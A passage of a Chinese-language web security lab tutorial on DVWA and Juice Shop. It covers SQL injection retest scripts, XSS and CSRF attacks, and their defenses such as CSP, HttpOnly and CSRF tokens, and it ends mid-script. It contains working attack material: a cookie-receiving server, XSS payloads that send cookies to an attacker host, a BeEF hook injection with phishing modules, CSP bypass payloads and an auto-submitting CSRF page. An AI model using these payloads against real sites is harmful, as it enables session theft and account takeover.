GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'app_user'@'172.20.%';
-- ★★ 绝不给:FILE(防写 webshell)、SUPER、PROCESS、DROP、ALTER
FLUSH PRIVILEGES;
-- ✅ 禁止写文件(MySQL 配置文件 my.cnf)
[mysqld]
secure_file_priv = NULL
local_infile = 0
-- 验证
SHOW VARIABLES LIKE 'secure_file_priv';
-- 预期:Value = NULL
2.8.2 复测脚本(★ 修完必须跑)
#!/usr/bin/env bash
# save as verify_sqli.sh
# ★ 修复后必跑:确认所有 payload 都失效了
TARGET="${1:-http://127.0.0.1:8888}"
COOKIE="${2:-}"
PASS=0; FAIL=0
check() {
local desc="$1"; local url="$2"; local expect_absent="$3"
local resp
resp=$(curl -s -H "Cookie: $COOKIE" "$url" 2>/dev/null)
if echo "$resp" | grep -qi "$expect_absent"; then
echo " ✗ [仍可注入] $desc"
echo " 响应片段: $(echo "$resp" | head -c 200)"
FAIL=$((FAIL+1))
else
echo " ✓ [已修复] $desc"
PASS=$((PASS+1))
fi
}
echo "════════ SQL 注入复测 ════════"
echo "目标: $TARGET"
echo ""
echo "【1】基础注入"
check "单引号报错" "$TARGET/sqli/user?id=1%27" "SQL Error\|syntax error\|SQLSyntaxError"
check "OR 恒真" "$TARGET/sqli/user?id=1%27%20OR%20%271%27=%271" "bob\|charlie"
check "UNION 探测" "$TARGET/sqli/user?id=-1%27%20UNION%20SELECT%201,2--%20" "First name"
echo ""
echo "【2】敏感数据泄露检测(★ 关键:确认拖不走 secrets 表)"
check "UNION 拖 secrets" "$TARGET/sqli/user?id=-1' UNION SELECT 1,secret_name,secret_val,email,role FROM secrets-- " "jwt_signing_key\|aws_ak\|Prod_DB"
check "UNION 查 information_schema" "$TARGET/sqli/user?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables-- " "SECRETS\|secrets"
echo ""
echo "【3】ORDER BY / IN / LIKE"
check "ORDER BY 注入" "$TARGET/sqli/order?field=(SELECT%20secret_val%20FROM%20secrets%20LIMIT%201)" "jwt_signing_key\|aws_ak"
check "IN 注入" "$TARGET/sqli/in?ids=1)%20OR%201=1--%20" "bob\|charlie"
check "LIKE 注入" "$TARGET/sqli/search?kw=%25'%20UNION%20SELECT%201,secret_name,secret_val,email,role%20FROM%20secrets--%20" "aws_ak"
echo ""
echo "【4】数字型"
check "数字型注入" "$TARGET/sqli/num?id=1%20OR%201=1" "bob\|charlie"
echo ""
echo "════════ 结果 ════════"
echo "通过: $PASS 失败: $FAIL"
[ $FAIL -eq 0 ] && echo "★ 全部通过,注入已修复" || echo "!! 仍有 $FAIL 项可被注入,继续修"
chmod +x verify_sqli.sh
# 修复前跑(应该看到一堆 ✗)
./verify_sqli.sh http://127.0.0.1:8888 ""
# 预期:通过 0 失败 9
# 修复后跑(应该全 ✓)
./verify_sqli.sh http://127.0.0.1:8888 ""
# 预期:通过 9 失败 0
2.8.3 sqlmap 复测
# 修复后,用 sqlmap 再扫一遍(应该扫不出东西)
sqlmap -u "http://127.0.0.1:8888/sqli/user?id=1" --batch --level=5 --risk=3
# 预期输出:
# [INFO] testing connection to the target URL
# ...
# [WARNING] GET parameter 'id' does not seem to be injectable
# [CRITICAL] all tested parameters do not appear to be injectable
# ★ 看到 "does not appear to be injectable" 就说明修好了
# ★ 注意 --level=5 --risk=3 是最彻底的扫描
# level 5 会测 Cookie/UA/Referer 等 Header
# risk 3 会尝试基于 OR 的 payload(可能改数据,★ 只在自己靶场用)
2.8.4 CI 里自动化卡点(★ 把复测固化下来)
# .gitlab-ci.yml
stages:
- test
- security
# ① 静态检查:源码里不能出现 ${}
sast-mybatis-dollar:
stage: security
script:
- echo "检查 Mapper XML 里的 \${} 用法..."
- |
if grep -rn '\${' --include="*.xml" src/main/resources/mapper/ 2>/dev/null; then
echo "✗ 发现 \${} 拼接,存在 SQL 注入风险"
echo " 如果确认是白名单场景,请加注释并在此处加白名单"
exit 1
fi
- echo "✓ 未发现 \${} 拼接"
# ② 运行时验证:起服务跑一遍复测脚本
sqli-verify:
stage: security
script:
- java -jar target/app.jar &
- sleep 30
- ./scripts/verify_sqli.sh http://127.0.0.1:8080 ""
# 脚本内部失败会 exit 1,流水线自动阻断
# ③ 依赖漏洞扫描
dependency-check:
stage: security
script:
- dependency-check.sh --project myapp --scan . --failOnCVSS 9
★ 自定义 Semgrep 规则(比通用规则精准得多):
# .semgrep/spring-sqli.yml
rules:
- id: spring-jdbc-string-concat-sql
languages: [java]
severity: ERROR
message: >-
检测到 SQL 语句使用了字符串拼接,存在 SQL 注入风险。
请改用 PreparedStatement 的 ? 占位符,或 MyBatis 的 #{}。
参考:11 号文档 2.1.5
patterns:
- pattern-either:
- pattern: |
String $SQL = "..." + $VAR + "...";
- pattern: |
$JDBC.queryForList("..." + $VAR + "...", ...);
- pattern: |
$JDBC.query("..." + $VAR + "...", ...);
- pattern: |
$JDBC.update("..." + $VAR + "...", ...);
- pattern-not: |
String $SQL = "..." + $CONST + "..."; # 常量拼接不算漏洞
# 跑一遍
semgrep --config .semgrep/ src/
# 预期输出:
# ┌─────────────────┐
# │ 4 Code Findings │
# └─────────────────┘
# src/main/java/.../SqliController.java
# ❯ spring-jdbc-string-concat-sql
# 检测到 SQL 语句使用了字符串拼接...
# 22┆ String sql = "SELECT * FROM users WHERE id = '" + id + "'";
2.9 面试怎么讲这个实验
★ 30 秒口述版(背下来,面试直接用)
“我在本地用 DVWA 靶场完整复现过一次 SQL 注入。先是手工做的:加单引号发现报错,用
and '1'='1和and '1'='2两次对比确认了注入点存在,然后ORDER BY二分法猜出字段数是 2,接着 UNION 联合注入把information_schema里的表名、列名全都拖了出来,最后拿到了所有用户的密码哈希。之后我用 sqlmap 跑了一遍做对比,发现它其实是按 boolean、error、union、time 四种类型依次尝试的,盲注部分用的是二分法逐字符猜测,每个字符大概 7 次请求。
最让我有触动的是后面的 GetShell:数据库账号是 root 且
secure_file_priv为空,我用INTO OUTFILE写了一个 PHP webshell 进去,然后反弹 shell 拿到了www-data的命令行。整个链条的起点,只是一个没做预编译的字符串拼接。修复后我做了复测,写了个脚本把 9 个 payload 全跑一遍,确认都失效了。这里我最大的体会是:数据库账号不给 FILE 权限这一条配置,成本几乎为零,但能直接斩断 GetShell 这条路。“
可能的追问:
| 追问 | 你的回答 |
|---|---|
| 预编译为什么能防? | 时序:SQL 骨架先编译生成执行计划,参数后到,只能当值填入,改不了语法树 |
| ORDER BY 怎么办? | 占位符只能替代“值”不能替代“标识符”,只能白名单 |
| 关掉报错回显有多大用? | 报错注入 2 次请求能拖完的,关掉后退化成盲注需要 224 次 + 11 分钟,攻击成本 ×100 |
| 除了预编译还能做什么? | 最小权限账号(不给 FILE)、secure_file_priv=NULL、关报错、WAF 辅助 |
| 怎么批量排查项目里的注入? | Semgrep 自定义规则扫 ${} 和字符串拼接 + MyBatis XML 里搜 ${ + sqlmap 对测试环境扫描 |
| 宽字节注入原理? | GBK 下 %df\ 被合并成一个汉字,转义的反斜杠被“吃掉”,单引号逃逸 |
第三章:XSS 与 CSRF 实战
本章目标:亲手弹出第一个 alert,偷到第一个 Cookie,伪造第一笔转账,并用 BeEF 接管浏览器。
实验环境:DVWA + Juice Shop + 自建靶场
预计耗时:2 小时
3.1 反射型 XSS:从弹窗到偷 Cookie
3.1.1 第一个 XSS(Hello World)
# DVWA → XSS (Reflected)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/xss_r/?name=<script>alert(1)</script>" \
| grep -oP "Hello \K.*" | head -20
# 预期输出:
# <script>alert(1)</script>
#
# ★ 注意:我们看到的是【原样的 <script>】,说明输入被直接输出,没有被转义
# 浏览器打开这个 URL 就会弹窗
浏览器验证:
打开:http://127.0.0.1:8080/vulnerabilities/xss_r/?name=<script>alert(document.domain)</script>
→ 弹出警告框,显示当前域名
看一眼漏洞源码(DVWA low):
<?php
header ("X-XSS-Protection: 0");
// ★ 直接输出,没有任何编码
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
3.1.2 偷 Cookie(★ XSS 的真正危害)
弹窗只是“证明漏洞存在”。真正的攻击是偷走 Cookie,然后冒充受害者登录。
第一步:准备接收端
# 开一个简单的 HTTP 服务器接收 Cookie
# 终端 1:
mkdir -p /tmp/xss && cd /tmp/xss
python3 -m http.server 9999
# 但 http.server 不记录 GET 参数,用下面这个自定义脚本更好
cat > /tmp/xss/steal.py <<'EOF'
#!/usr/bin/env python3
"""XSS Cookie 接收端"""
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if 'c' in params:
cookie = params['c'][0]
print(f"\n[{ts}] ★★ 收到 Cookie ★★")
print(f" Cookie: {cookie}")
print(f" 来源IP: {self.client_address[0]}")
print(f" UA: {self.headers.get('User-Agent','')}")
with open('/tmp/xss/stolen.txt','a') as f:
f.write(f"[{ts}] {cookie} {self.client_address[0]}\n")
# 返回一张 1x1 透明图片,让页面不报错
self.send_response(200)
self.send_header('Content-Type','image/gif')
self.end_headers()
self.wfile.write(bytes.fromhex(
'47494638396101000100800000ffffff00000021f9040100000000'
'2c00000000010001000002024401003b'))
def log_message(self, *args):
pass # 不打印访问日志,只打印 Cookie
if __name__ == '__main__':
print("[*] Cookie 接收端启动在 0.0.0.0:9999")
print("[*] 等待受害者触发 XSS...")
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
EOF
python3 /tmp/xss/steal.py
第二步:构造偷 Cookie 的 payload
<!-- 原理:创建一个新的 img 标签,src 指向攻击者的服务器,把 cookie 作为 URL 参数带过去 -->
<script>
new Image().src = "http://你的IP:9999/?c=" + encodeURIComponent(document.cookie);
</script>
<!-- 或者用 fetch(更现代,可以偷更多信息) -->
<script>
fetch("http://你的IP:9999/?c=" + encodeURIComponent(document.cookie) +
"&u=" + encodeURIComponent(location.href) +
"&p=" + encodeURIComponent(document.body.innerHTML.substring(0,500)));
</script>
第三步:触发
# URL 编码后
PAYLOAD='<script>new Image().src="http://172.20.0.1:9999/?c="+encodeURIComponent(document.cookie)</script>'
curl -s -H "Cookie: $DVWA_FULL_COOKIE" -G \
"http://127.0.0.1:8080/vulnerabilities/xss_r/" \
--data-urlencode "name=$PAYLOAD"
# 在浏览器里打开这个 URL(模拟受害者点击)
第四步:看战果
[*] Cookie 接收端启动在 0.0.0.0:9999
[*] 等待受害者触发 XSS...
[2026-09-04 15:23:11] ★★ 收到 Cookie ★★
Cookie: PHPSESSID=abc123def456; security=low
来源IP: 172.20.0.1
UA: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36...
第五步:用偷到的 Cookie 冒充登录
# 用偷来的 PHPSESSID 直接访问(不需要用户名密码)
curl -s -H "Cookie: PHPSESSID=abc123def456; security=low" \
"http://127.0.0.1:8080/index.php" | grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome admin
#
# ★★ 我们什么密码都没输,就登录成了 admin
3.1.3 HttpOnly 的作用(★ 对比实验)
# ① 先查看当前 Cookie 有没有 HttpOnly
# 浏览器 F12 → Application → Cookies
# DVWA 的 PHPSESSID 默认【没有】HttpOnly → 所以能被偷
# ② 开启 HttpOnly 后再试一次
# 修改 DVWA 代码或 PHP 配置:
# php.ini: session.cookie_httponly = 1
docker exec dvwa sed -i 's/session.cookie_httponly = *[01]/session.cookie_httponly = 1/' \
/usr/local/etc/php/php.ini 2>/dev/null || \
docker exec dvwa bash -c 'echo "session.cookie_httponly = 1" >> /usr/local/etc/php/php.ini'
docker restart dvwa
# ③ 重新登录,再触发一次 XSS
# 预期:document.cookie 返回空(因为 JS 读不到 HttpOnly 的 Cookie)
# 在浏览器 Console 里验证:
# > document.cookie
# "" ← ★ HttpOnly 的 Cookie 不在里面
★★ 关键认知:
@HttpOnly不能防止 XSS 发生,它只是让 XSS 偷不到 Cookie 这一种东西。XSS 还能做这些(HttpOnly 都拦不住):
- 读取页面上的敏感内容(身份证、银行卡、余额)
- 以你的名义发请求(改密码、转账、发消息)—— 这就是 CSRF
- 伪造登录框骗你输入密码
- 扫描你的内网(结合 SSRF)
- 挂键盘记录器
所以 HttpOnly 是“减轻后果”,不是“防止攻击”。真正的防线是输出编码 + CSP。
3.2 存储型 XSS + BeEF 接管浏览器
3.2.1 存储型 XSS(最危险的一种)
# DVWA → XSS (Stored)
# 在留言板里提交恶意内容,它会【存进数据库】
# 之后【任何人】访问这个页面都会中招
curl -s -H "Cookie: $DVWA_FULL_COOKIE" -X POST \
"http://127.0.0.1:8080/vulnerabilities/xss_s/" \
-d "txtName=attacker" \
-d "mtxMessage=<script>new Image().src='http://172.20.0.1:9999/?c='+encodeURIComponent(document.cookie)</script>" \
-d "btnSign=Sign+Guestbook"
# 现在任何人打开留言板页面都会触发
# 用另一个"受害者"浏览器打开:
# http://127.0.0.1:8080/vulnerabilities/xss_s/
# → steal.py 端会收到他的 Cookie
为什么存储型最危险?
| 类型 | 触发条件 | 影响范围 |
|---|---|---|
| 反射型 | ★ 要诱导受害者点击特定 URL | 单个受害者 |
| 存储型 | 只要访问正常页面即可 | ★★ 所有访问者 |
| DOM 型 | 前端 JS 处理不当,请求不过服务器 | 单个受害者,WAF 看不见 |
存储型 XSS 也叫持久型 XSS。它是唯一一种“你什么都不用做,受害者自己送上门“的 XSS。 真实案例:2014 年 eBay 存储型 XSS,攻击者在商品描述里嵌入恶意脚本,所有浏览该商品的用户都被重定向到钓鱼网站。
3.2.2 BeEF:接管理浏览器(★ 震撼实验)
BeEF(Browser Exploitation Framework,浏览器利用框架):XSS 的“后续利用平台”。 一旦受害者的浏览器被“钩住”(hooked),你就能在管理界面上远程操控它。
# ① 启动 BeEF
docker run -d --name beef --network lab-net \
-p 127.0.0.1:3001:3000 \
-p 127.0.0.1:3002:3001 \
janes/beef
sleep 20
# ② 查看默认账号密码(★ 一定要改)
docker logs beef 2>&1 | grep -iA3 "credentials\|username\|password"
# 预期输出:
# Username: beef
# Password: beef (默认,生产必须改!)
# Web UI URL: http://127.0.0.1:3000/ui/panel
③ 浏览器打开管理界面:http://127.0.0.1:3001/ui/panel
登录:beef / beef
④ 找到 hook 地址(BeEF 页面右上角的 "Hook" 或 Getting Started):
http://<你的IP>:3002/hook.js
⑤ 注入 hook(在 DVWA 存储型 XSS 里)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" -X POST \
"http://127.0.0.1:8080/vulnerabilities/xss_s/" \
--data-urlencode "txtName=attacker" \
--data-urlencode "mtxMessage=<script src='http://172.20.0.1:3002/hook.js'></script>" \
--data-urlencode "btnSign=Sign+Guestbook"
⑥ 受害者打开留言板 → BeEF 管理界面左侧出现一台“上线”的浏览器
你现在可以做的(在 Commands 标签里):
| 模块 | 路径 | 效果 |
|---|---|---|
| Get Cookie | Browser → Get Cookie | 偷 Cookie |
| Get Page HTML | Browser → Get Page HTML | 偷页面内容 |
| Get Visited Domains | Browser → Hooked Domain → Get Visited Domains | ★ 偷浏览历史 |
| Detect VMs / Internal IPs | Network → Ping Sweep | ★ 扫受害者内网 |
| Pretty Theft | Social Engineering → Pretty Theft | ★ 伪造登录框骗密码(超像真的) |
| Fake Flash Update | Social Engineering → Fake Flash Update | 骗用户下载木马 |
| Webcam | Browser → Webcam | 开摄像头(需授权) |
| Google Phishing | Social Engineering → Google Phishing | 伪造 Google 登录页 |
| Redirect Browser | Browser → Redirect | 跳转到钓鱼站 |
| Create Alert Dialog | Browser → Create Alert Dialog | 弹警告框(社工) |
★ 最震撼的两个(一定要试):
1. Pretty Theft(登录框钓鱼)
→ 在受害者当前页面上弹出一个【和原网站一模一样】的登录框
→ 受害者以为掉线了,重新输入账号密码
→ 你直接收到明文密码
★ 这就是为什么"HttpOnly"和"短 Session"很重要
2. Ping Sweep / 内网探测
→ 用受害者的浏览器去扫他的内网
→ 你访问不到他公司的内网,但他的浏览器可以
★ 这就是"浏览器作为跳板"的概念
★ 反思时刻:做完这个实验你就明白,XSS 绝不是“弹个窗”那么简单。 受害者的浏览器一旦被控制,它就变成了攻击者在内网里的一台“肉鸡”。
3.3 DOM 型 XSS(WAF 看不见的那个)
3.3.1 原理
普通 XSS: 恶意数据 → 服务器 → 服务器把它拼进 HTML → 返回给浏览器
↑ WAF 能在这里看到并拦截
DOM 型 XSS:恶意数据 → 服务器(原样返回)
→ 前端 JS 用 innerHTML / eval 把它写进 DOM
↑ WAF 完全看不到!因为数据根本没"执行"过
漏洞代码示例:
<!-- 页面 URL: /page?name=xxx -->
<script>
// ★ 从 URL 里取值,直接写进 innerHTML —— 这就是 DOM XSS
var name = location.hash.substring(1); // 取 # 后面的部分
document.getElementById("greet").innerHTML = "Hello " + name;
</script>
<!--
攻击:/page#<img src=x onerror=alert(1)>
★ 注意 # 后面的内容【不会发给服务器】
→ WAF 看不到
→ 服务器日志也记不到
→ 但浏览器会执行它
-->
3.3.2 实验(Juice Shop)
# 打开 Juice Shop,找到搜索框
# 输入:<iframe src="javascript:alert(`xss`)">
# ★ Juice Shop 的 "DOM XSS" 挑战就是这个
# 用 curl 验证(虽然 DOM XSS 主要靠浏览器渲染,但可以确认是否被过滤)
curl -s "http://127.0.0.1:3000/#/search?q=%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E" \
| grep -o "iframe" | head -3
# 更常见的 DOM XSS 场景:location.hash / document.write / eval / innerHTML
常见的 DOM XSS 污染源(Source)和落点(Sink):
| Source(数据从哪来) | Sink(数据到哪去,危险) |
|---|---|
location.href |
innerHTML / outerHTML |
location.hash |
document.write() |
location.search |
eval() / setTimeout(string) |
document.referrer |
new Function(string) |
document.cookie |
element.src = xxx |
window.name |
element.setAttribute("onclick", xxx) |
localStorage / sessionStorage |
jQuery 的 html() / append() |
修复:
// ❌ 危险
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ 安全
element.textContent = userInput; // ★ 最推荐,当纯文本处理
element.innerText = userInput;
// 如果必须写 HTML,先净化
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// Vue / React 的注意点:
// {{ }} 插值是安全的(自动转义)
// ★ 但 v-html / dangerouslySetInnerHTML 是【故意跳过转义】,等同于 innerHTML
// ★ 还有 href/src 这些 URL 属性,框架不会帮你过滤 javascript: 伪协议
3.4 CSP 绕过实战(★ 进阶)
CSP(Content Security Policy,内容安全策略):告诉浏览器“只允许加载这些来源的脚本”。 它是 XSS 的最后一道防线——即使你的输出编码漏了,CSP 也能拦住外部脚本执行。
但 CSP 配错了等于没配。 这一节我们亲手绕过几个错误的 CSP 配置。
3.4.1 常见的错误 CSP 及绕过
# 起一个带 CSP 的测试页面
mkdir -p /tmp/csp && cd /tmp/csp
cat > index.php <<'EOF'
<?php
// 实验:改这个 header,看哪种 payload 能绕过
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
?>
<!DOCTYPE html>
<html><body>
<h1>CSP 测试页</h1>
<div id="out"><?php echo $_GET['x'] ?? ''; ?></div>
</body></html>
EOF
php -S 127.0.0.1:8099
绕过手法 1:允许 unsafe-inline(最常见错误)
Content-Security-Policy: script-src 'self' 'unsafe-inline'
<!-- 直接内联执行,绕过成功 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
绕过手法 2:允许 unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval'
<script>eval("al"+"ert(1)")</script>
<script>setTimeout("alert(1)",0)</script>
绕过手法 3:JSONP 端点(★ 最精妙)
Content-Security-Policy: script-src 'self' https://accounts.google.com
<!--
★ 关键洞察:白名单里如果有支持 JSONP 的域名,就能绕过
JSONP 的本质是"返回一段可执行的 JS",而 callback 参数是我们可控的
-->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<!-- 其他常见可利用的 JSONP 端点(历史上):
https://www.google.com/complete/search?client=chrome&q=x&jsonp=alert(1)//
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)
-->
绕过手法 4:script-src 漏配了 object-src
Content-Security-Policy: script-src 'self'
<!-- ★ script-src 只管 <script>,不管 <object>/<embed> -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!-- base64 解码后是 <script>alert(1)</script> -->
绕过手法 5:base 标签劫持相对路径
Content-Security-Policy: script-src 'self'
<!-- 页面里用的是相对路径 <script src="/js/app.js"> -->
<!-- 我们插一个 base 标签,把 'self' 的基准改成我们的服务器 -->
<base href="https://attacker.com/">
<!-- 于是 /js/app.js 变成 https://attacker.com/js/app.js → 加载了我们的脚本 -->
绕过手法 6:允许 data: 或 blob:
Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>
3.4.2 正确的 CSP 配置
# ✅ 严格版(推荐)
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{每次请求随机生成}';
style-src 'self' 'nonce-{随机}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'none';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
各指令的作用:
| 指令 | 作用 | 为什么必须配 |
|---|---|---|
default-src 'none' |
默认全禁 | ★ 白名单思维,没明确允许的都禁止 |
script-src 'nonce-xxx' |
只有带正确 nonce 的脚本能执行 | ★ 比 unsafe-inline 安全得多 |
object-src 'none' |
禁 object/embed/applet | 堵死绕过手法 4 |
base-uri 'none' |
禁 base 标签 | 堵死绕过手法 5 |
frame-ancestors 'none' |
禁止被 iframe 嵌套 | ★ 防点击劫持(替代 X-Frame-Options) |
form-action 'self' |
表单只能提交到自己 | 防止表单被劫持到外部 |
upgrade-insecure-requests |
自动把 http 升成 https | 防降级攻击 |
3.4.3 nonce vs hash vs unsafe-inline
<!-- 方式一:nonce(推荐用于动态页面) -->
<!-- 服务端每次响应生成一个随机 nonce -->
<script nonce="r4nd0mV4lu3">
// 这个脚本能执行
</script>
<script>
// 这个不能执行(没有 nonce)★ 攻击者注入的脚本没有 nonce
</script>
<!-- 方式二:hash(适合静态页面) -->
<!-- CSP: script-src 'sha256-abc123...' -->
<!-- 只有内容哈希匹配的脚本能执行 -->
<!-- 方式三:unsafe-inline(❌ 千万别用) -->
<!-- 等于允许所有内联脚本,CSP 对 XSS 基本失效 -->
Spring Boot 里生成 nonce:
@ControllerAdvice
public class CspNonceAdvice implements ResponseBodyAdvice<Object> {
@Override
public Object beforeBodyWrite(Object body, MethodParameter p, MediaType mt,
Class<?> c, ServerHttpRequest req, ServerHttpResponse resp) {
// 每次请求生成随机 nonce
String nonce = Base64.getEncoder().encodeToString(
SecureRandom.getInstanceStrong().generateSeed(16));
// 放到 request 属性里,模板渲染时读取
req.getServletRequest().setAttribute("cspNonce", nonce);
// 设置响应头
resp.getHeader().set("Content-Security-Policy",
"default-src 'none'; script-src 'self' 'nonce-" + nonce + "'; " +
"style-src 'self' 'nonce-" + nonce + "'; img-src 'self' data: https:; " +
"object-src 'none'; base-uri 'none'; frame-ancestors 'none'");
return body;
}
}
3.4.4 CSP 落地路线(★ 别一上来就开正式模式)
# 第 1 步:先用 Report-Only 模式,只报告不拦截
Content-Security-Policy-Report-Only: default-src 'none'; script-src 'self'; report-uri /csp-report
# 第 2 步:收集 1~2 周的违规报告
# Spring Boot 接收端:
@RestController
public class CspReportController {
@PostMapping("/csp-report")
public void report(@RequestBody String body) {
log.warn("CSP 违规: {}", body);
// 报告内容示例:
// {"csp-report":{
// "document-uri":"https://example.com/page",
// "violated-directive":"script-src",
// "blocked-uri":"https://evil.com/x.js",
// "line-number":23
// }}
}
}
# 第 3 步:分析报告,把合法的资源加进白名单(清误报)
# 第 4 步:切换到正式模式
Content-Security-Policy: ...
# 第 5 步:继续监控,持续收敛
3.5 CSRF 实战:伪造一笔转账
3.5.1 攻击场景
受害者:已登录银行网站 bank.com(Cookie 有效)
攻击者:做了一个恶意页面,放在 evil.com
攻击链:
1. 受害者在银行登录后,没退出,去逛了 evil.com
2. evil.com 的页面里藏着一个【自动提交的表单】
3. 表单的 action 指向 bank.com/transfer,内容是"转 10000 元给攻击者"
4. ★ 浏览器会自动带上 bank.com 的 Cookie
5. 银行验证 Cookie → 认为是受害者本人操作 → 转账成功
3.5.2 构造恶意页面
<!-- save as /tmp/csrf/evil.html -->
<!DOCTYPE html>
<html>
<head><title>免费领红包!</title></head>
<body>
<h1>🎉 恭喜你中奖了!正在领取...</h1>
<!-- ★ 这个表单用户看不见,页面加载就自动提交 -->
<form id="f" action="http://127.0.0.1:8080/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="hacked123">
<input type="hidden" name="password_conf" value="hacked123">
<input type="hidden" name="Change" value="Change">
</form>
<script>
document.getElementById('f').submit(); // ★ 自动提交
</script>
<p>(其实上面的表单已经偷偷改掉了你的密码)</p>
</body>
</html>
# 起一个服务托管恶意页面
cd /tmp/csrf && python3 -m http.server 8081
# 受害者(已登录 DVWA)访问:
# http://127.0.0.1:8081/evil.html
# 验证:用原密码登录,应该失败;用 hacked123 登录,应该成功
curl -s -c /tmp/c3 "http://127.0.0.1:8080/login.php" -o /dev/null
T=$(curl -s -b /tmp/c3 "http://127.0.0.1:8080/login.php" | grep -oP "name='user_token' value='\K[^']+")
curl -s -b /tmp/c3 -X POST "http://127.0.0.1:8080/login.php" \
-d "username=admin" -d "password=hacked123" \
-d "user_token=$T" -d "Login=Login" | grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome admin ← ★ 密码被改了!
3.5.3 三种防御的对比实验
# ═══════ 防御 1:SameSite Cookie ═══════
# 浏览器开发者工具 → Application → Cookies → 看 SameSite 列
# SameSite=Strict → 跨站请求完全不带 Cookie → 攻击失败
# SameSite=Lax → 只有顶层导航的 GET 带 → POST 攻击失败
# SameSite=None → 不限制 → 攻击成功(但必须配 Secure)
# ═══════ 防御 2:CSRF Token ═══════
# 看 DVWA 的 high 等级源码,它加了 user_token:
# 服务端生成 token 存进 session,同时放进表单隐藏域
# 提交时比对二者是否一致
# ★ 攻击者能伪造请求,但【读不到】目标站的 token(同源策略)
# → 提交的 token 对不上 → 被拒绝
# ═══════ 防御 3:校验 Origin / Referer ═══════
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
-H "Referer: http://evil.com/" \
"http://127.0.0.1:8080/vulnerabilities/csrf/?password_new=x&password_conf=x&Change=Change"
# 服务端校验 Referer 不是本站 → 拒绝
Spring Security 的 CSRF 防护(生产做法):
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
// ★ 用 CookieCsrfTokenRepository:token 放 Cookie,前端从 Cookie 读出来放进 Header
// 这是"双重提交"模式,适合前后端分离
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// 放行不需要 CSRF 防护的接口(如纯查询的 GET)
.ignoringAntMatchers("/api/public/**")
);
}
}
// 前端 axios 配置:从 Cookie 读 token,放进请求头
import axios from 'axios';
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';
// ★ axios 会自动完成:读 Cookie → 放进 Header
★ 关键理解:为什么“Token 放 Cookie 里”仍然安全?
很多人困惑:“CSRF 的本质不就是浏览器自动带 Cookie 吗?那把 Token 也放 Cookie,攻击者不就也能带上了?”
答案是:攻击者确实能让浏览器“带上”Token,但他【读不到】Token 的值。
- 浏览器自动带的是请求头里的 Cookie
- 但服务端要求的是请求参数或自定义 Header 里也有一个相同的值
- 攻击者构造表单时,只能让浏览器自动带 Cookie,没法往表单里填一个他不知道的值
- 同源策略保证了 evil.com 的 JS 读不到 bank.com 的 Cookie
所以 CSRF 防护的本质是:需要一个“攻击者无法预测或读取”的值。
3.5.4 复测脚本
#!/usr/bin/env bash
# verify_xss_csrf.sh
TARGET="${1:-http://127.0.0.1:8888}"
PASS=0; FAIL=0
check_xss() {
local url="$1"; local desc="$2"
local resp=$(curl -s "$url")
# 如果返回的 HTML 里有【未转义的】script 标签,说明有 XSS
if echo "$resp" | grep -q "<script>alert\|<script>new Image\|onerror=alert"; then
echo " ✗ [仍可 XSS] $desc"
FAIL=$((FAIL+1))
else
echo " ✓ [已修复] $desc"
PASS=$((PASS+1))
fi
}
echo "════════ XSS 复测 ════════"
check_xss "$TARGET/xss/reflect?name=%3Cscript%3Ealert(1)%3C%2Fscript%3E" "反射型-基础"
check_xss "$TARGET/xss/reflect?name=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" "反射型-img onerror"
check_xss "$TARGET/xss/reflect?name=%3Csvg%2Fonload%3Dalert(1)%3E" "反射型-svg onload"
check_xss "$TARGET/xss/reflect?name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E" "属性闭合"
echo ""
echo "════════ 安全响应头检查 ════════"
HEADERS=$(curl -sI "$TARGET/" )
for h in "Content-Security-Policy" "X-Content-Type-Options" "X-Frame-Options"; do
if echo "$HEADERS" | grep -qi "$h"; then
echo " ✓ 已设置 $h: $(echo "$HEADERS" | grep -i "$h")"
PASS=$((PASS+1))
else
echo " ✗ 缺失 $h"
FAIL=$((FAIL+1))
fi
done
echo ""
echo "════════ CSRF 复测 ════════"
# 不带 token 直接提交敏感操作,应该被拒绝
CODE=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
"$TARGET/api/change-password" -d "newPass=hacked123")
if [ "$CODE" = "403" ] || [ "$CODE" = "401" ]; then
echo " ✓ [已防护] 无 CSRF Token 的 POST 被拒绝 (HTTP $CODE)"
